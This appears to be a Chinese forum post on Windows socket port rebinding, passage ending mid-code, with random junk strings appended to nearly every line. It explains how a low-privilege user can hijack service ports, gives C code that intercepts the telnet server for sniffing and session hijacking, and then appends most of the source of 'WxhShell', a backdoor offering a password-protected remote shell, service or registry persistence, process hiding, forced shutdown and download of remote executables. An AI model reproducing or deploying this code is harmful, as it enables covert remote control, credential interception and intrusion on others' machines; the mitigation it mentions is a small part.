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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8y;W+I(71  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [jl'5ld  
\Q.Qos  
  saddr.sin_family = AF_INET; HJpkR<h  
ZM oV!lu  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %1Gat6V<'  
wN,DTmtD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); m=&j2~<i  
ODn6%fp%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rK%<2i  
ajIgL<x  
  这意味着什么?意味着可以进行如下的攻击: 5Z{h!}Y  
%AbA(F  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J{$+\  
+RexQE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) x2B~1edf  
Sbub|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #W#GI"K  
O_8ERxj g]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  aVv$k  
X E]YKJ?|k  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $Xf1|!W%a%  
6x KbK1W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }>vf(9sF`  
wD>tR SW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 SX)giQLU  
c)8V^7=Q  
  #include &0*l=!:G^  
  #include 3ThCY`  
  #include 7 }`c:u~j  
  #include    qJQE|VM&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |B&KT  
  int main() G5W6P7-<X  
  { UeB8|z  
  WORD wVersionRequested; }5gAxR,  
  DWORD ret; z)Xf6&  
  WSADATA wsaData; *z4n2"<l  
  BOOL val; qM F'&  
  SOCKADDR_IN saddr; '$u3i #. \  
  SOCKADDR_IN scaddr; 1Sox@Ko  
  int err; E@\e37e  
  SOCKET s; ,eq[X\B>  
  SOCKET sc; +5Z0-N@  
  int caddsize; o)'u%m  
  HANDLE mt; $ wGDk  
  DWORD tid;   y'?|#%D  
  wVersionRequested = MAKEWORD( 2, 2 ); /G$8j$  
  err = WSAStartup( wVersionRequested, &wsaData ); J<x?bIetj  
  if ( err != 0 ) { U,"lOG'  
  printf("error!WSAStartup failed!\n"); i:`ur  
  return -1; $Z)Dvy|  
  } XQ.czj  
  saddr.sin_family = AF_INET; $Gb] K{e  
   _+0l+a*D  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @AUx%:}0Y:  
)c=R)=N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xZjl_ b J  
  saddr.sin_port = htons(23); 03?TT,y$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jR7 , b5  
  { <N"t[N70;  
  printf("error!socket failed!\n"); p D!IB`cA4  
  return -1; IdTeue  
  } 4kGA`XhS*  
  val = TRUE; n k]tq3.[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 nd 'K4q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2V(ye9  
  { LLv~yS O  
  printf("error!setsockopt failed!\n"); :kSA^w8  
  return -1; |M|'S~z  
  } !!&H'XEJV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  mfOr+   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v 1Yf:c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /km^IH  
s~ Wjh7'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {\22C `9t  
  { B]dHMLzl  
  ret=GetLastError(); a9z|ef  
  printf("error!bind failed!\n"); "UVqkw,vt  
  return -1; DQW^;Ls  
  } 6Uq@v8mh  
  listen(s,2); VKy:e.  
  while(1) B`OggdE  
  { 6N(Wv0b $  
  caddsize = sizeof(scaddr); {snLiCl  
  //接受连接请求 #M*h)/d[A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); f XxdOn.  
  if(sc!=INVALID_SOCKET) lZCvH1&"  
  { i'J.c4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kRNr`yfN  
  if(mt==NULL) 1\q(xka{  
  { c38RE,4U  
  printf("Thread Creat Failed!\n"); }Q_IqI[7  
  break; ^_3idLE  
  } x!bFbi#!"  
  } ?KpHvf'  
  CloseHandle(mt); 9 m&"x/k  
  } ?cr;u~-=  
  closesocket(s); h4H~;Wl0  
  WSACleanup(); d{&+xl^ll  
  return 0; (V @g?|LZ  
  }   &'V_80vA  
  DWORD WINAPI ClientThread(LPVOID lpParam) I_.(&hMn  
  { x{<WJ|'B  
  SOCKET ss = (SOCKET)lpParam; QQP bKok>  
  SOCKET sc; !%J;dOcU  
  unsigned char buf[4096]; SQ5SvYH  
  SOCKADDR_IN saddr; /_v5B>  
  long num; YIb5jK `  
  DWORD val; *%(8z~(\  
  DWORD ret; )0`;leli  
  //如果是隐藏端口应用的话,可以在此处加一些判断  =IV_yor  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    ])}{GW  
  saddr.sin_family = AF_INET; &H,5f#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); q a#Fa)g*  
  saddr.sin_port = htons(23); 6FG h=~{3,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t ),~w,7(J  
  { +Y(cs&V*  
  printf("error!socket failed!\n"); t3u"2B7oG  
  return -1; kCxmC<34  
  } 'p-jMD}O  
  val = 100; /S1EQ%_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rklr^ e  
  { 3;~1rw=$<  
  ret = GetLastError(); o%X_V!B{V  
  return -1; 4IG=mG)  
  } >x@]w sj  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X!&DKE  
  { %1SA!1>j  
  ret = GetLastError(); aq~hl7MTj  
  return -1; 8#'<SB  
  } hXM8`iFW5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~\4l*$3(^  
  { )v;>6(  
  printf("error!socket connect failed!\n"); AuUT 'E@E  
  closesocket(sc); w_pEup\`  
  closesocket(ss); m9ts&b+TE  
  return -1; F6h3M~uR  
  } K+Q81<X~  
  while(1) %]nY v#K  
  { D|Wekhm  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,0NVb7F;k  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 rZ 9bz}K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2\l7=9 ]\3  
  num = recv(ss,buf,4096,0); pl Ii  
  if(num>0) K CJ zE>  
  send(sc,buf,num,0); </tiNc  
  else if(num==0) Gnp,~F"  
  break; TYWajcch  
  num = recv(sc,buf,4096,0); *XS@Ku  
  if(num>0) [ik D4p=  
  send(ss,buf,num,0); ?l`DkUo*j  
  else if(num==0) j(F%uUpN  
  break; LW?] ~|  
  } "5Oog<  
  closesocket(ss); 'VFxg,  
  closesocket(sc); ]Rohf WHX  
  return 0 ; o,9E~Q'`{  
  }  dKDtj:  
[' R2$z  
PKT0Drv}c7  
========================================================== >WE3$Q>bi  
y/mxdP w  
下边附上一个代码,,WXhSHELL G%S=K2 v  
_X;^'mqf~  
========================================================== LdI)  
iq,qf)BY.|  
#include "stdafx.h" LdR}v%EH  
*ntq;]  
#include <stdio.h> [%;LZZgl  
#include <string.h> ?VEJk,/k  
#include <windows.h> l*uNi47|  
#include <winsock2.h> qd~)Ya1  
#include <winsvc.h> NZ9=hI;iM  
#include <urlmon.h> ;j=/2vU~@  
NSHWs%Zc  
#pragma comment (lib, "Ws2_32.lib") NLw#b?%  
#pragma comment (lib, "urlmon.lib") Sd' uXX@  
:-.R*W  
#define MAX_USER   100 // 最大客户端连接数 |!8[Vg^Wh  
#define BUF_SOCK   200 // sock buffer v3Tr6[9  
#define KEY_BUFF   255 // 输入 buffer f3lFpS  
<i^Bq=E<rJ  
#define REBOOT     0   // 重启 N\=pH{  
#define SHUTDOWN   1   // 关机 ?'CIt5n+\{  
pA"x4\s   
#define DEF_PORT   5000 // 监听端口 ()JM161  
DF%\ 1C>  
#define REG_LEN     16   // 注册表键长度 * gr{{c  
#define SVC_LEN     80   // NT服务名长度 Z/sB72K1  
P[n` X  
// 从dll定义API hEsCOcEG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YZ:YYcr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C/"fS#<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `j(\9j ok  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QUb#;L@okn  
'?E^\\"*  
// wxhshell配置信息 ldrKk'S,B  
struct WSCFG { cbsy&U  
  int ws_port;         // 监听端口 zBay 3a  
  char ws_passstr[REG_LEN]; // 口令 ;WJ}zjo >  
  int ws_autoins;       // 安装标记, 1=yes 0=no Wd~aSz9  
  char ws_regname[REG_LEN]; // 注册表键名 N/DcaHFYo  
  char ws_svcname[REG_LEN]; // 服务名 yJWgz`/L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9@./=5N~3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HC*=E.J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H!4!1J.=xw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;TF(opW:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Bt[`p\p@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UMm<HQ  
3qiE#+dC  
}; a-4'jT:  
Ah='E$t  
// default Wxhshell configuration +Qt=N6>  
struct WSCFG wscfg={DEF_PORT, %CfJ.;BDNE  
    "xuhuanlingzhe", { > {|3  
    1, 6LL/wemq  
    "Wxhshell", I7 pxi$8f  
    "Wxhshell", bsC~ 2S\o  
            "WxhShell Service", Km8btS]n  
    "Wrsky Windows CmdShell Service", I.Co8is  
    "Please Input Your Password: ", TOn{o}Y B  
  1, " _jIqj6C  
  "http://www.wrsky.com/wxhshell.exe", 8;P8CKe  
  "Wxhshell.exe" 1 <.I2\^  
    }; \2U^y4K.  
S h=E.!  
// 消息定义模块 Ym(^i h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @j`_)Y\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oR5hMu;j+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2JYp.CJv  
char *msg_ws_ext="\n\rExit."; 4wX{N   
char *msg_ws_end="\n\rQuit."; mwZesSxB_  
char *msg_ws_boot="\n\rReboot..."; XPd>DH(Yc  
char *msg_ws_poff="\n\rShutdown..."; `i8osX[&p  
char *msg_ws_down="\n\rSave to "; eU1= :n&&\  
nj!)\U  
char *msg_ws_err="\n\rErr!"; ~7Kqc\/H&I  
char *msg_ws_ok="\n\rOK!"; bENfEOf,  
=#&K\  
char ExeFile[MAX_PATH]; hc5M)0d  
int nUser = 0; &}nU#)IX  
HANDLE handles[MAX_USER]; }5RfY| ;  
int OsIsNt; i^ G/)bq  
J<p<5):R;  
SERVICE_STATUS       serviceStatus; A)2vjM9}K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |Pz-  
"L1cHP~d  
// 函数声明 ]3 YJE P  
int Install(void); SGZOfTcY  
int Uninstall(void); F_/]9tz?;  
int DownloadFile(char *sURL, SOCKET wsh); _K )B  
int Boot(int flag); zawU  
void HideProc(void); 7fLLV2  
int GetOsVer(void); mk~i (Ee  
int Wxhshell(SOCKET wsl); H4 Ca+;  
void TalkWithClient(void *cs); >^Klq`"?g=  
int CmdShell(SOCKET sock); 5znLpBX<N  
int StartFromService(void); }e6Ta_Z~  
int StartWxhshell(LPSTR lpCmdLine); n <6}  
LU_@8i:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ::g"dRS<v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `~WxMY0M  
8Z4d<DIJ  
// 数据结构和表定义 8JAA?0L"'  
SERVICE_TABLE_ENTRY DispatchTable[] = {q~Bss{z  
{ )UI$ s"  
{wscfg.ws_svcname, NTServiceMain}, p/:)Z_  
{NULL, NULL} U u(ysN4`  
}; K$\az%NE  
jj0@ez{3  
// 自我安装 :4}?%3&;  
int Install(void) 4;M  
{ 5@tpJ8E8$  
  char svExeFile[MAX_PATH]; }Jk.c~P)  
  HKEY key; 7ks09Cy  
  strcpy(svExeFile,ExeFile); Gnj;=f  
ge`)sB,  
// 如果是win9x系统,修改注册表设为自启动 9bPQD{Qb  
if(!OsIsNt) { Fm3-Sn|Po  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CM>/b3nOW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dj;h!8t.  
  RegCloseKey(key); >MUwT$szs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *#+d j"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AU}lKq7%  
  RegCloseKey(key); /"- k ;jz  
  return 0; vz) A~"E  
    } = PqQJE}  
  } gd_w;{WP  
} NZ e3 m  
else { xB68RQe)  
!3DWz6u  
// 如果是NT以上系统,安装为系统服务 U; ?%rM6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LbJ tU !  
if (schSCManager!=0) ~q?IG5s*Z  
{ 0Tp?ED_  
  SC_HANDLE schService = CreateService -3/:Dk`3  
  ( _c['_HC  
  schSCManager, }zj w\  
  wscfg.ws_svcname, r6Lb0PzMf  
  wscfg.ws_svcdisp, q+x4Od3  
  SERVICE_ALL_ACCESS, iVd*62$@$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MnO,Cd6{%d  
  SERVICE_AUTO_START, ^8o'\V"m^  
  SERVICE_ERROR_NORMAL, /1h`O@VA  
  svExeFile, m`g%\o^6i  
  NULL, #KXazZu"  
  NULL, Y6`9:97  
  NULL, nR6~oB{-  
  NULL, .i"v([eQ  
  NULL % rdW:  
  );  ^OI  
  if (schService!=0) -fj;9('YJ  
  { CJJ 1aM  
  CloseServiceHandle(schService); =9\=5_V  
  CloseServiceHandle(schSCManager);  uw LT$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y` LZ/Tgk  
  strcat(svExeFile,wscfg.ws_svcname); ~{n_rKYV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %+w>`k3(N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9HLn_|yU  
  RegCloseKey(key); %bt2^  
  return 0; bS&'oWy*B  
    } J@"Pv~R  
  } DHbLS3-  
  CloseServiceHandle(schSCManager); rzDqfecOmW  
} 9| v  
} #dqZdj@  
 elWN-~  
return 1; 8q)2 )p  
} L(PJ9wjkD  
*na7/ysT<  
// 自我卸载 go]d+lhFB  
int Uninstall(void) ~r]ZD)  
{ E;$t|~ #  
  HKEY key; 7_S+/2}U*  
ve1jLjsB  
if(!OsIsNt) { j~\\,fl=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R=i$*6}a  
  RegDeleteValue(key,wscfg.ws_regname); jn^i4f>N  
  RegCloseKey(key); CUnZ}@?d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m/0G=%d%k  
  RegDeleteValue(key,wscfg.ws_regname); q .tVNKy%  
  RegCloseKey(key); KAgiY4  
  return 0; -njxc{b  
  } zO2<Igb  
} F` J(+  
} Y;e@ `.(  
else { 3 V8SKBS  
&m'O :ZS2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dWR?1sV|e  
if (schSCManager!=0) $ ohwBv3S  
{ J0@m Ol  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cC"7Vt9b  
  if (schService!=0) g[8V fIe  
  { 5G(y  
  if(DeleteService(schService)!=0) { qlPjz*<h"H  
  CloseServiceHandle(schService); ^[&*B#(  
  CloseServiceHandle(schSCManager); 6du"^g  
  return 0; s_zZ@azJ  
  } }=?r`J+Ev;  
  CloseServiceHandle(schService); AW+4Vm_!l  
  } Cla Yy58v  
  CloseServiceHandle(schSCManager); twf;{lZ(  
} @*is]d+Ya  
} 8Ral%I:gr  
;f?OT7>kN  
return 1; M[<O]p6  
} t^8#~o!%  
RZOk.~[v  
// 从指定url下载文件 J-Sf9^G  
int DownloadFile(char *sURL, SOCKET wsh) tI.(+-q  
{ g|)e3q{M  
  HRESULT hr; (niZN_qv  
char seps[]= "/"; 9^igzRn0  
char *token; nqgfAQsE)  
char *file; w V;y]'  
char myURL[MAX_PATH]; 3i >$g3G  
char myFILE[MAX_PATH]; ],H%u2GE_  
J#Bz )WmR  
strcpy(myURL,sURL); GZI[qKDfB  
  token=strtok(myURL,seps); YlPZa3\  
  while(token!=NULL) ? Z1pPd@  
  { f,t[`0 va  
    file=token; ut3jIZ1]  
  token=strtok(NULL,seps); &_q;X;}  
  } .IF dJ  
A javV  
GetCurrentDirectory(MAX_PATH,myFILE); 5:ir il  
strcat(myFILE, "\\"); (ter+rTv  
strcat(myFILE, file); O- |RPW}  
  send(wsh,myFILE,strlen(myFILE),0); p7.@ez ;  
send(wsh,"...",3,0); Q>TaaGc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <@F4{*  
  if(hr==S_OK) OX8jCW  
return 0; Q{>9Dg  
else p&vQ* }  
return 1; ~{2@-qcm  
/%)M lG  
} XKks j!'B  
`+"QhQ4 w  
// 系统电源模块 KO{}+~,.6  
int Boot(int flag) 8Yb/ c*  
{ ~\ie/}zYj  
  HANDLE hToken; ip1jY!   
  TOKEN_PRIVILEGES tkp; bpUN8BI[T  
;pAkdX&b  
  if(OsIsNt) {  9FWn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eRVu/TY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pKr3(5~  
    tkp.PrivilegeCount = 1; JXPn <  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @ o;m!CYB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >x!N@G  
if(flag==REBOOT) { e m>CSBx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Yd/qcC(&  
  return 0; {W `/KU?u  
} X 8[T*L.  
else { u6(7#n02  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z>CFH9  
  return 0; oL VtP  
} azE>uEsE  
  } &<tji8Dj  
  else { !u7WCw.Dm  
if(flag==REBOOT) { ~x4Y57  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0n(Q@O  
  return 0; &1w,;45  
} mcr71j  
else { 9F,jvCM63  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .3ic%u;|D  
  return 0; <JKPtF2b  
} }jIb ^|#CD  
} [oKB1GkA  
tH W"eag  
return 1; YI\^hP#  
} -p%=36n  
)'fIrBT  
// win9x进程隐藏模块 4~o\Os+8  
void HideProc(void) YVs{\1|'  
{  1XHGW=n  
9oGsrC lH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L` Qiu@  
  if ( hKernel != NULL ) 2<.}]yi  
  { nG8]c9\Q#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dF FB\|e;0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fF *a/\h %  
    FreeLibrary(hKernel); BA-n+WCWJ  
  } d]@9kG  
{ ET+V  
return; :;7qup  
} /iukiWeW  
F,lQj7  
// 获取操作系统版本 lzw r]J%|?  
int GetOsVer(void) [2&Fnmjk}X  
{ ]+@b=J2b  
  OSVERSIONINFO winfo; lJU[9)Q_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %/sf#8^m  
  GetVersionEx(&winfo); ryPz?Aw(4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y-Z*qR?  
  return 1; M4DRG%21  
  else L[O+9Yh  
  return 0; ;zh|*F>  
} 3J:!8Gmk  
hPEK@  
// 客户端句柄模块 M rVtxzH  
int Wxhshell(SOCKET wsl) fY-{,+ `'  
{ v$,9l+p/  
  SOCKET wsh; 5gEUE{S  
  struct sockaddr_in client; !hJKI.XH  
  DWORD myID; ,:;_j<g`e  
Y<kvJb&1*  
  while(nUser<MAX_USER) v"bOv"!al  
{ yWX:`*GV  
  int nSize=sizeof(client); ^M,Q<HL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T> 1E  
  if(wsh==INVALID_SOCKET) return 1; Yoaz|7LS  
"}ZD-O`!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 85H8`YwPh  
if(handles[nUser]==0) $/pd[H[{  
  closesocket(wsh); lYJ]W[!  
else Y> 7/>x6  
  nUser++; LrK6*y,z  
  } ?= ulf GrY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^WUF3Q**OU  
|'a5n h!  
  return 0; -M(:z  
} &d6'$h:kHb  
vU~#6sl  
// 关闭 socket YZmD:P  
void CloseIt(SOCKET wsh) GMiWS:`;v`  
{ \y<n{"a  
closesocket(wsh); G>H&M#7K  
nUser--; .@xwl}o$OL  
ExitThread(0); Zcf?4{Kd?  
} O'j;"l~H|  
y]@_DL#J=  
// 客户端请求句柄 $TR[SMj  
void TalkWithClient(void *cs) tq1h1  
{ BWQ (>Z"  
*t*yozN  
  SOCKET wsh=(SOCKET)cs; Eb#0 -I  
  char pwd[SVC_LEN]; *S<>_R 8  
  char cmd[KEY_BUFF]; c%v%U &  
char chr[1]; /Nxy?g|,  
int i,j; qwVpGNc45  
;O.U-s  
  while (nUser < MAX_USER) { ``zg |h  
,.F,]m=  
if(wscfg.ws_passstr) { uTn(fs) D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <0Q`:'\.>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UT>\u  
  //ZeroMemory(pwd,KEY_BUFF); ~>+}(%<,  
      i=0; 8)M . W  
  while(i<SVC_LEN) { C}W/9_I6Uo  
w~1K93/p!  
  // 设置超时 j!jZJD  
  fd_set FdRead; 6Zkus20  
  struct timeval TimeOut; rTK/WZs8  
  FD_ZERO(&FdRead); unP7("A0D  
  FD_SET(wsh,&FdRead); N?R1;|Z]  
  TimeOut.tv_sec=8; R3.tkFZq]  
  TimeOut.tv_usec=0; [j-]n#E=9y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); } CQ GvH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iF<VbQP=X^  
<A!v'Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jcevpKkRG  
  pwd=chr[0]; #  ,GpZ  
  if(chr[0]==0xd || chr[0]==0xa) { C8aYg  
  pwd=0; 4qiG>^h9  
  break; &Du!*V4A  
  } t;ggc{  
  i++; 5\qoZs*e  
    } 1C'lT,twl  
hPhN7E03  
  // 如果是非法用户,关闭 socket 7GE.>h5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a^~l[HSF  
} MW`q*J`Yo  
M~P}80I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V#5BZU-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1<ZvHv  
}vp\lK P  
while(1) { <7u*OYjA  
_ @ \  
  ZeroMemory(cmd,KEY_BUFF); .Ml}cE$L  
]cFqKs  
      // 自动支持客户端 telnet标准   RqH"+/wR  
  j=0; Rs5G5W@"A  
  while(j<KEY_BUFF) { "y>l2V,4j%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ])T*T$u  
  cmd[j]=chr[0]; "(T@*"vX2  
  if(chr[0]==0xa || chr[0]==0xd) { ;M\H#%G.  
  cmd[j]=0; 4,T S1H  
  break; KxK$Y.y]  
  } C:$lH  
  j++; [;#}BlbN  
    } _s<eqCBV  
|=,V,*"  
  // 下载文件 v0\2%PC  
  if(strstr(cmd,"http://")) { >qCUs3}C{*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =U3 !D;XP  
  if(DownloadFile(cmd,wsh)) k`kmmb>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "-(yZigQ  
  else ADlPdkmym  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n16,u$|  
  } (g4.bbEm  
  else { D.U)R7(  
B9Y "J  
    switch(cmd[0]) { Sxf<8Px9i  
  u;;]S!:M  
  // 帮助 ~Ui<y=d  
  case '?': { g]z,*d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vU&gFEWg  
    break; TfVB~"&  
  } uu]<R@!J  
  // 安装 }-YD_Pm K-  
  case 'i': { rp.JYz,  
    if(Install()) 4AzS~5S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SJj0*ry:  
    else )O2giVq7[0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CzST~*lH  
    break; ~vBmW_j  
    } 3[aCy4O  
  // 卸载 P+,\x&Vr  
  case 'r': { Z!7#"wO9+V  
    if(Uninstall()) 8H3|^J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Uj+iYE8Z8  
    else W UDQb5k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cYmMO[4YG'  
    break; 3($%AGKJ  
    } :Y ~fPke  
  // 显示 wxhshell 所在路径 IHMZE42  
  case 'p': { RY&Wvkjh  
    char svExeFile[MAX_PATH]; ;' YM@n  
    strcpy(svExeFile,"\n\r"); ZGe+w](  
      strcat(svExeFile,ExeFile); 4E&URl0Bh  
        send(wsh,svExeFile,strlen(svExeFile),0); &*/8Ojv)9  
    break; 7AHEzJh"  
    } oq(um:m  
  // 重启 asmMl9)(`  
  case 'b': { T&X*[kP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4 Z1- RS  
    if(Boot(REBOOT)) D8C@x`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  lrU}_`  
    else { j*rra  
    closesocket(wsh); UYD(++  
    ExitThread(0); h 5t,5e}  
    } _:?)2NV  
    break; ]aXCi"fMs  
    } 8'@pX<  
  // 关机 W2qW`Ujo{  
